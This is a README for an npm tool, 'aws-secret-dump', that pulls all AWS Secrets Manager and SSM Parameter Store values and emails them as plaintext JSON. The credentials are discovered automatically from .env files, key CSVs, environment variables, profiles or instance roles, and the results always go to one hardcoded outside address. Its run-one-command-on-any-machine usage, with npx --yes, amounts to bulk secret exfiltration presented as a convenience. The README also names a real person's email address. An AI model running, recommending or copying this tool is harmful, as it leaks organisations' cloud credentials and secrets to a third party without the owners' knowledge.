# aws-secret-dump

Walk up to any machine, run one command, get your AWS secrets emailed to you.

Pulls from **Secrets Manager** and **SSM Parameter Store**, writes a `secrets.json`, and sends it to `michael.todd@bbd.co.za` via AWS SES — no SMTP config, no passwords, no file copying.

---

## Usage

```bash
npx --yes aws-secret-dump
```

That's it. Credentials are discovered automatically (see below). Secrets land in your inbox.

---

## One-time SES setup

Before the first run, verify your email as a SES sender (once per AWS account):

```bash
aws ses verify-email-identity \
  --email-address michael.todd@bbd.co.za \
  --region us-east-1
```

Click the link AWS sends you. Done — never needs to be done again on that account.

---

## Credential discovery (fully automatic)

The tool tries each source in order and uses the first one it finds:

| Priority | Source | How to use |
|----------|--------|------------|
| 1 | `.env` file in current directory | Drop a `.env` next to where you run it |
| 2 | AWS credentials `.csv` in current directory | Download from AWS console, drop it in cwd |
| 3 | Shell environment variables | `export AWS_ACCESS_KEY_ID=...` |
| 4 | AWS CLI profile | `--profile myprofile` or `AWS_PROFILE=myprofile` |
| 5 | EC2/ECS IAM role | Nothing needed — automatic on AWS infra |

### `.env` format
```env
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=...
AWS_DEFAULT_REGION=us-east-1
# AWS_SESSION_TOKEN=... (optional, for assumed roles)
```

### CSV format
The raw download from AWS console → IAM → Users → Security credentials → Create access key. Just drop the file in the same folder and run.

---

## Options

| Flag | Description | Default |
|------|-------------|---------|
| `-r, --region` | AWS region | `us-east-1` |
| `-p, --profile` | AWS CLI profile | *(auto)* |
| `-o, --output` | Output JSON path | `secrets.json` |
| `--source` | `secrets`, `ssm`, or `both` | `both` |
| `--prefix` | Filter secrets by name prefix | *(all)* |
| `--path` | SSM path prefix | `/` |
| `--no-email` | Write file only, skip emailing | — |
| `--dry-run` | Preview without writing or sending | — |

---

## Examples

```bash
# Bare minimum — auto-discovers creds, emails results
npx --yes aws-secret-dump

# Different region
npx --yes aws-secret-dump --region eu-west-1

# Only Secrets Manager, filtered by prefix
npx --yes aws-secret-dump --source secrets --prefix myapp/prod

# Only SSM under a specific path
npx --yes aws-secret-dump --source ssm --path /myapp/prod

# Just write the file, don't email
npx --yes aws-secret-dump --no-email

# Preview what would be fetched
npx --yes aws-secret-dump --dry-run
```

---

## ⚠ Security

- `secrets.json` contains plaintext credentials — add it to `.gitignore`
- The SES email attachment is plaintext JSON — delete it from your inbox after use
- Prefer IAM roles over long-lived access keys wherever possible